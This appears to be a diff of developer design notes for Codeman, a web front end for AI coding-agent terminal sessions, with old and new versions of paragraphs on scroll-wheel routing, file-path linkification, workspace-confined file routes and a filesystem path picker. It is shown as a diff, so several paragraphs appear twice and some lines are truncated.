The fallback would need a capability to tell the two modes apart, since `_localScrollbackIsHollow` takes no id. The cost: a fullscreen pi with "Wheel scrolls local history" on has no paging fallback, so the wheel does nothing there. That is an accepted exception to "A false gate on a hollow pane must not mean a DEAD gesture" below.
Codex 0.163.0 approval check in that isolated read-only/on-request session: the "Would you like to run the following command?" prompt remained on `1. Yes, proceed` after SGR wheel-up and wheel-down over both the transcript and approval option rows 36/37; the requested marker file was not created. The background transcript can scroll while the approval prompt remains fixed. Codeman does alert on this prompt: `src/web/screen-blocked.ts` reads Codex dialogs off the pane (`capabilities.workDetect.blockedLine`) and broadcasts `hook:permission_prompt`, which `_onHookPermissionPrompt` (settings-ui.js) records and `updateTabAlertFromHooks` (app.js) turns into the `'action'` tab alert, and both page-key fallbacks check it. The SGR wheel path deliberately does not consult that alert, because this measurement showed wheel reports leave the approval selection unchanged. Native Codex owns its approval selection; do not mistake a hook-only unit fixture for approval-dialog evidence.
Native wheel travel retains upstream pixel/line/page units (100 px = 4 lines; Firefox 3-line events = 3 lines); no one-tick-per-event policy is introduced here. A fresh native gesture at or above 0.1 row (2.5px) rounds its opening travel to at least one tick (subject to the per-event cap), so an isolated 4px mouse click responds, 40px sends two ticks and 120px sends five. The signed remainder is carried forward; travel discarded by the per-event cap does not become a backlog. The signed remainder is debt repaid by subsequent same-direction events: ten 2.5px events still total one tick. Debt/fractions expire after a 150ms gap; a reversal inside that gap discards the old debt without another pre-payment. Sub-threshold jitter does not pre-pay. The first native report of each tab visit bypasses the 40 ms batching timer; later reports coalesce and only unsent bytes can be cancelled on reversal. Every queued batch belongs to its originating session, so switching tabs cannot send its bytes into the newly selected pane. Zero-delta events leave pending movement untouched. Tiles use the same helpers and their own queue/session.
**Wheel/touch forwarding is NOT gated on viewport-at-bottom** (#205, `terminal-ui.js:_shouldForwardWheelToApp`): for sessions verified to scroll their own transcript on SGR wheel reports (Claude ≥ 2.1.187 or tracked Codex, with observed `cliMouseTracking`; see the native measurement above), the plain wheel AND touch drags forward as coalesced SGR reports (`_forwardScrollToApp` → `_sendSyntheticSgrWheel`, 40ms batches after the first native report, 5-tick per-event cap; no aggregate byte/tick limit). It used to gate on the viewport being at the bottom so both scrollbacks stayed reachable, but a repaint-mode CLI keeps NO terminal scrollback of its own — xterm's buffer holds only replayed repaint frames, so local scrolling drags the CLI's pinned prompt box up the screen over stale frames; and `scrollToLastNonEmptyLine()` routinely parked the viewport off-bottom, silently pinning the wheel to local. Forwarding now snaps the viewport home first (SGR coordinates address the LIVE screen — a report computed from a scrolled-up viewport would hit-test the wrong row). Local scrollback remains on Shift+wheel and the `terminalWheelLocalScrollback` opt-out (both also cover touch via the shared gate; touch has no Shift, so the setting is its only local pin). Touch asks `_shouldForwardTouchToApp()`, which is that gate plus one branch: in any session mode, a drag and its fling momentum also forward as SGR wheel reports while xterm itself tracks the mouse (`modes.mouseTrackingMode` other than `none`/`x10`) with SGR encoding (`_core.coreMouseService.activeEncoding === 'SGR'`, an xterm private pinned by `test/xterm-private-api.test.ts`; DEFAULT, X10 and SGR-pixel apps fail closed). xterm encodes a native wheel for such an app itself, but the touch listeners consume the drag, and a local scroll shows nothing useful: a direct-PTY app is on xterm's alternate screen, and in a tmux-backed session xterm stays in the normal buffer holding stale tmux repaints. `_wheelScrollLinesFloat()` normalizes `deltaMode` (Firefox fires LINE deltas ≈3/notch — read as pixels that rounded to 0 and fell to the ±1 fallback, ~4× too slow; PAGE deltas scale by `terminal.rows`) while keeping the #154 Shift-axis trap (macOS trackpads put Shift+scroll magnitude on deltaX). Tests: `test/terminal-touch-tap.test.ts`.
**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretched to one second (`PAGE_KEY_DEBT_MS`), or `PAGE_KEY_NOTCH_DEBT_MS` (3 s) for a notch-sized opener, while a pre-paid page is still owed in the SAME direction, so slow smalLine truncated
**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. ⚠️ Pi is an accepted exception: it declares no `transcriptPageKeys`, so a false gate on a fullscreen pi stays dead, for the reason in "Pi is the same shape" above. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretchedLine truncated
**Why the wheel went where it went is LOGGED** (`_logScrollRouting`): one console line per session per distinct decision — `[scroll] <id> → forward-sgr|page-keys|page-keys-dialog-open|page-keys-menu-open|local-scrollback|repull-refused-downgrade (mode=…, cliVersion=…, localScrollbackOptOut=…, mouseTracking=…, localScrollbackRows=…)`. #205 ran two rounds of remote guesswork over questions this line answers directly; keep it when touching the routing.
@@ -403,15 +423,15 @@ A file path an agent prints is a link on both surfaces it can appear on, and cli
**One pattern, two consumers.** `FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` live in `constants.js`; the xterm link provider (`registerFilePathLinkProvider`, terminal-ui.js) and the response viewer's `_linkifyFilePaths()` (app.js) both reach it through `findFilePathLinks()` (below), which builds a fresh instance per call. ⚠️ Fresh per call, never one shared object: `lastIndex` is per-object state on a `/g` regex. The pattern is anchored on a known absolute root and terminated by a known extension, so a fraction (`3/4`) or a date can't match and trailing punctuation stays out. Roots include `Users` and `mnt`, without which nothing was clickable on macOS or WSL. The linear-time guard and the "terminal-ui builds from the factory" structural check are in `test/link-provider-regex.test.ts`.
**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite.
**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. The anchors the walk builds carry `dir="ltr"`, so a path at the head of a right-to-left sentence does not decide that sentence's direction; a rewritten link keeps no `dir`, since its label is prose (#715). ⚠️ `_applyBlockDirection()` runs after the linkifier in both consumers, never before it: a block already carrying `dir="auto"` re-resolves its direction on every text node replaced under it. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite, `test/response-viewer-rtl.test.ts` the direction and the order.
**Out-of-workspace paths go through the attachment routes, not the file routes.** `file-content`/`file-raw` resolve against `workingDir` and 404 anything that escapes it, which is correct and unchanged — but the paths agents most often print (a `/tmp` capture, Claude's own scratchpad, another checkout) are exactly that, so clicking one used to report "File not found" for a file sitting on disk. `openFilePreview()` now detects the case (`_isExternalPreviewPath`, a string compare for ROUTING only; the real decision stays server-side) and registers the path via `POST /api/sessions/:id/attachments` first, rendering by id. ⚠️ That registration passes `notify: false`, which suppresses ONLY the `attachment:detected` broadcast — the guard, the registry entry and the by-id routes are identical either way. Without it every click also popped an attachment card announcing the file already filling the screen. ⚠️ The click is an explicit user action on the **explicit, Origin-guarded** registration route, which is why it may cross the workspace boundary at all; the passive magic-link scanner stays force-confined. A type outside `SUPPORTED_ATTACHMENT_EXTENSIONS` (`.svg`, `.bmp`) is refused with a message naming what IS previewable, rather than the registry's own policy term.
**Out-of-workspace paths go through the attachment routes, not the file routes.** `file-content`/`file-raw` resolve against `workingDir` and 404 anything that escapes it, except an absolute path inside a followed worktree outside `workingDir` (see Files panel in a worktree), which they serve as a second root. For every other path that is correct and unchanged — but the paths agents most often print (a `/tmp` capture, Claude's own scratchpad, another checkout) are exactly that, so clicking one used to report "File not found" for a file sitting on disk. `openFilePreview()` now detects the case (`_isExternalPreviewPath`, a string compare for ROUTING only; the real decision stays server-side) and registers the path via `POST /api/sessions/:id/attachments` first, rendering by id. ⚠️ That registration passes `notify: false`, which suppresses ONLY the `attachment:detected` broadcast — the guard, the registry entry and the by-id routes are identical either way. Without it every click also popped an attachment card announcing the file already filling the screen. ⚠️ The click is an explicit user action on the **explicit, Origin-guarded** registration route, which is why it may cross the workspace boundary at all; the passive magic-link scanner stays force-confined. A type outside `SUPPORTED_ATTACHMENT_EXTENSIONS` (`.svg`, `.bmp`) is refused with a message naming what IS previewable, rather than the registry's own policy term.
⚠️ **The terminal routes an out-of-workspace path to the preview, not the log viewer.** The log viewer spawns `tail -f` and allows only the workspace, `/var/log` and `~/logs`, so an external `.log`/`.json`/code path answered `Path must be within working directory or allowed log directories` while the SAME path clicked in the response viewer previewed fine. `activate()` now checks `_isExternalPreviewPath` alongside `previewsInFileViewer`. In-workspace text keeps the tail viewer, which is the point of it (live follow), except markdown (`.md`/`.markdown`, in `FILE_PREVIEW_EXTENSIONS` since the owner's 2026-10-13 decision, rendered as a document) and `.html`/`.htm` (`rendersAsPage()`, rendered as a page, see below), which always go to the preview; nothing widened `file-stream-manager`'s allowlist, so no `tail -f` is spawned on an arbitrary host path.
**Path forms beyond the rooted one.** `findFilePathLinks(text)` (constants.js) is the single entry point both consumers call; it reserves spaced candidates first (including unlinkable spans), then detects rooted matches, then `~/` and relative paths (`RELATIVE_FILE_PATH_LINK_PATTERN`, same extension list, pinned equal by `test/link-provider-regex.test.ts`), then folder paths, each only where it overlaps neither an earlier match nor an `http(s)` URL. A relative match must start at a boundary (line start, whitespace, quote, bracket, `=`, `,`, `>`), so it can never begin inside a word, an absolute path or a URL; brackets, `=` and `,` end it (`(shot.png)`, `OUT=shots/a.png`). `resolveLinkedFilePath()` resolves a relative path against a base (`.`/`..` collapsed, so `../x.png` lands outside and routes like any external path) and passes absolute and `~/` paths through. ⚠️ `~` is the home of the SESSION'S host, which only the server knows: `~/` paths always take the attachment route, where `registerExternalAttachment` expands them (`homedir()` locally, `$HOME` inside the remote probe script), and the guard runs on the expanded, realpath-resolved path as before. ⚠️ Programs hard-wrap their own output short of the terminal edge (Claude Code breaks tool output at 59-118 columns), so xterm's `isWrapped` never fires. `terminalPathLine()` (link provider only; touch selection keeps `terminalLogicalLine`) joins the next row when the previous row ends in a path token with a `/` and no extension and the join reaches an extension; a row that starts a new path is never joined: rooted or `~/`, `./`/`../`, or a relative one that opens on the same top directory the broken token did (the next entry of `git ls-files`/`find`/`ls -R`: `src/components` + `src/index.ts` are two paths, not `src/componentssrc/index.ts`), while a wrapped path continues INSIDE a name, so `…/captures/2` + `026-10-10/…` still joins; a 3+ row chain is kept only if a later row completes the path, and the broken row must be at least as long as the continuing one (keeps `cd /mnt/foo` + a longer next line apart). Tests: `test/file-path-link-forms.test.ts`.
**The relative base is the pane's directory.** The base is `relativeResolutionBase(session)`: the pane's live directory `SessionState.paneCwd` when known, else `workingDir`, which is fixed at create time and never follows a `cd`. `paneCwd` is `#{pane_current_path}` from the pane-exit watcher's existing batched `list-panes -a` read (`derivePaneCurrentPaths()`, single-pane sessions and absolute paths only; no new tmux call and no new SSE event: the server applies it on the `paneExitsUpdated` tick and broadcasts `session:updated` only on a change). tmux reports the cwd of the pane's FOREGROUND process-group leader, so a shell's `cd` moves it, while an agent CLI's tool subprocesses (Claude's Bash tool, codex's exec) do not: for those sessions it stays the CLI's own directory. ⚠️ `paneCwd` is a resolution BASE only, never a confinement root: `_isExternalPreviewPath`, `file-content`/`file-raw` and the log viewer's `tail -f` allowlist all still judge against `workingDir`, so a pane that `cd`s outside the workspace sends its relative links through the attachment routes like any other external path, and what can be opened is unchanged (an absolute path to the same file already opened). ⚠️ `Session.setPaneCwd()` uses the `paneExitApplies` scoping rule and fails closed the same way: a remote session's local pane runs the ssh client and a docker case's runs `docker exec`, so their pane directory is a host directory the agent was never in; direct-PTY and rediscovered sessions get none either, and the browser re-checks `remote`/`docker`. ⚠️ tmux reads the directory from `/proc/<pgrp>/cwd`, always the RESOLVED path, while `workingDir` keeps the spelling the case was created with (a symlinked `~/codeman-cases`, a case linked through a symlink, macOS `/tmp`), and `_isExternalPreviewPath` compares lexically, so `setPaneCwd()` writes a reading at or under the workspace's resolved path back in `workingDir`'s spelling. The resolution runs once per session in the background, bounded (`probePathKind()` first, then a `realpath()` raced against the same timeout, never on the watcher tick and never `realpathSync`); an `unknown` probe or a failed or slow `realpath()` leaves the reading untranslated and retries after `WORKSPACE_REALPATH_RETRY_MS`. Until it settles, only a reading lexically inside `workingDir` is taken, so the first tick cannot mis-route links. ⚠️ Never restored after a restart: written to `state.json` by `toState()` like the rest of the session state but never read back, and a directory change alone never persists. A failed or empty read keeps every last directory, and a blank `#{pane_current_path}` on a single-pane session keeps that session's (`derivePaneCurrentPaths()` carries it forward); an authoritative read that lists the session as split into several panes, or not at all, clears it, so a hand-split session falls back to `workingDir`. The server applies the manager's answer as given, `undefined` included, and `setPaneCwd()` reports a clear once. Trade-off: the base is the pane's directory at CLICK time, so a relative path printed before a `cd` resolves against the new directory. Tests: `test/pane-cwd-tracking.test.ts`.
**The relative base is the pane's directory.** The base is `relativeResolutionBase(session)`: the pane's live directory `SessionState.paneCwd` when known, else `workingDir`, which is fixed at create time and never follows a `cd`. `paneCwd` is `#{pane_current_path}` from the pane-exit watcher's existing batched `list-panes -a` read (`derivePaneCurrentPaths()`, single-pane sessions and absolute paths only; no new tmux call and no new SSE event: the server applies it on the `paneExitsUpdated` tick and broadcasts `session:updated` only on a change). tmux reports the cwd of the pane's FOREGROUND process-group leader, so a shell's `cd` moves it, while an agent CLI's tool subprocesses (Claude's Bash tool, codex's exec) do not: for those sessions it stays the CLI's own directory. ⚠️ `paneCwd` is a resolution BASE only, never a confinement root: `_isExternalPreviewPath`, `file-content`/`file-raw` and the log viewer's `tail -f` allowlist all still judge against `workingDir`, except that `_isExternalPreviewPath` and `file-content`/`file-raw` also admit an absolute path inside a followed outside worktree (`outsideWorktree` in session state), so a pane that `cd`s outside the workspace sends its relative links through the attachment routes like any other external path, and what can be opened is unchanged (an absolute path to the same file already opened). ⚠️ `Session.setPaneCwd()` uses the `paneExitApplies` scoping rule and fails closed the same way: a remote session's local pane runs the ssh client and a docker case's runs `docker exec`, so their pane directory is a host directory the agent was never in; direct-PTY and rediscovered sessions get none either, and the browser re-checks `remote`/`docker`. ⚠️ tmux reads the directory from `/proc/<pgrp>/cwd`, always the RESOLVED path, while `workingDir` keeps the spelling the case was created with (a symlinked `~/codeman-cases`, a case linked through a symlink, macOS `/tmp`), and `_isExternalPreviewPath` compares lexically, so `setPaneCwd()` writes a reading at or under the workspace's resolved path back in `workingDir`'s spelling. The resolution runs once per session in the background, bounded (`probePathKind()` first, then a `realpath()` raced against the same timeout, never on the watcher tick and never `realpathSync`); an `unknown` probe or a failed or slow `realpath()` leaves the reading untranslated and retries after `WORKSPACE_REALPATH_RETRY_MS`. Until it settles, only a reading lexically inside `workingDir` is taken, so the first tick cannot mis-route links. ⚠️ Never restored after a restart: written to `state.json` by `toState()` like the rest of the session state but never read back, and a directory change alone never persists. A failed or empty read keeps every last directory, and a blank `#{pane_current_path}` on a single-pane session keeps that session's (`derivePaneCurrentPaths()` carries it forward); an authoritative read that lists the session as split into several panes, or not at all, clears it, so a hand-split session falls back to `workingDir`. The server applies the manager's answer as given, `undefined` included, and `setPaneCwd()` reports a clear once. Trade-off: the base is the pane's directory at CLICK time, so a relative path printed before a `cd` resolves against the new directory. Tests: `test/pane-cwd-tracking.test.ts`.
Spaced paths are considered first by `findFilePathLinks()`: accepted candidates reserve their entire span even when unlinkable, so later detectors cannot link fragments. Relative and `~/` spaced paths require an explicit path label (`Path:`, `File:`, `Files:`, `Saved to:`, `Saved as:`, `Wrote:`, `Written to:`, `Output:`, `Created:`, `Location:`, `Attachment:`), optionally preceded by a marker. Generic labels and bare bullets defer to ordinary detection, including slash-containing prose such as `CI/CD` or `45/45`. A later `/`, `~/`, `./` or `../` word starts a separate path; an earlier word ending in `/` is a separate folder. Absolute paths keep the own-line and marker forms plus the same path labels; any other label (`Error:`, `Note:`, `Saved the report to:`) defers an absolute path too. A rooted candidate needs a directory before its first space, so `/review the changes in src/a.ts` is prose. An earlier word holding a known extension anywhere (`a.ts#L12 foo.ts`) ends the path at that word, a `:` followed by a digit inside an earlier word is a line suffix (`a.ts:42:See b.md`, grep and compiler output) and ends the path there, a run of spaces is a column gap rather than a name, and a leading run of `./` or `../` is not a segment (`Saved to: ../My Docs/plan.md` links whole; an interior `..` is still refused). An unlinkable candidate reserves its span only while its last word holds a `/`, so `/usr/bin/env node build.js` keeps its ordinary links while `/etc/secret files/passwords.txt` links nothing. A path label vouches that a path follows, not for the words before it: a relative candidate whose only `/` word is its last is prose after the label (`Wrote: 120 lines to src/foo.ts`, `Path: see src/foo.ts`) and defers to the ordinary detectors. The cost is a labelled relative path whose only space is in its top directory, `Saved to: My Docs/plan.md` (and `Saved to: 03 Attachments/plan.pptx`), which splits as on master; `03 Attachments/Build SIPOC Design/Build-SIPOC.pptx`, `notes/a b/c.md`, `~/`, `./` and `../` forms and absolute paths still link whole. An earlier word that is a lowercase connective or verb (`SPACED_PATH_PROSE_WORD`: `and`, `or`, `to`, `in`, `the`, `is`, `has`, `contains`, `then`, `as` and a few more) or a bare `=` makes the candidate a sentence, in every shape: `/home/me/proj contains a.md`, `- /tmp/out has the logs in run.log`, `Path: /home/me/proj/out contains a.md`, `Files: src/components and utils/x.ts`, `Wrote: 3 files to docs/design notes/overview.md`. The cost is a name that uses one of those words (`Pros and Cons.md`, `How to deploy.md`, `Documents and Settings`), which splits as on master; `at` (`Screenshot 2026-10-24 at 10.00.00.png`) and `of` (`Copy of report.docx`) are left out of the list on purpose. What remains ambiguous is an own-line absolute path followed by words that hold none of them (`/home/me/proj/out report.pdf` reads like `/home/me/docs/Read Me.txt`), which links as one path. A command line is refused too: a first word that is an executable under `bin/`, `.bin/`, `scripts/` or `tools/` (`/opt/homebrew/bin/node server.js`, `/home/me/proj/scripts/deploy prod.yml`) or any `-x`/`--x` flag word (`/home/me/proj/node_modules/.bin/tsc -p tsconfig.json`); a bare `-` (`Docs - Copy`, `OneDrive - Contoso`) is not a flag. So is a shell prompt that prints an absolute working directory (WSL's `/mnt/c/...` is outside `$HOME`, so every earlier command in a shell's scrollback has one): a first word ending in `$` (`/home/me/proj$ cat notes.md`) and any earlier word with no letter or digit other than a bare `-` (`/mnt/c/proj ❯ code notes.md`, `/home/me/proj $ cat notes.md`, `/home/me/proj/out ✓ report.pdf`) refuse the candidate, while `Program Files (x86)` and `Docs - Copy` still link whole. The response viewer carries any leading `<strong>` label in a paragraph or list item, or one starting a later line of a paragraph (after a `<br>`, since chat renders with `breaks: true`), into detection without changing the label or displayed text, and `spacedFilePathOnLine()` judges it as it judges the same line in the terminal (`**Note:** /home/me/proj/out report.pdf` splits). A text node that follows any other inline element starts mid-line, so a placeholder word stands in for what precedes it (``Use `--config` /home/me/proj/cfg data.json`` splits as in the terminal), while a path inside inline code still links whole; paths split across inline elements remain detected per text node. Tests feed vendored marked output into the jsdom linkifier, so consumed bullets and bold labels are covered. Trailing whitespace uses linear `trimEnd()` before the length cap.
@@ -435,7 +455,7 @@ The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLin
### Filesystem path picker
**Filesystem path picker** (Link Existing "Browse" button + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file. It starts at the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root), hides dot entries, and inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing has it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > New Case makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag.
**Filesystem path picker** (every Add Case "Browse" button: Link Existing, Create New's custom folder, Clone Repo, Docker; + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file (Docker's Container Workdir picker passes its own `fetchListing` over `POST /api/docker-cases/browse` instead, admin-only, which always lists dot entries and skips the allowlist, blocked-tree and ownership rules below). It starts at the form field's value or, for the `📁 Path` key, the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root) and hides dot entries. A Browse fills its form field; the `📁 Path` key inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag.
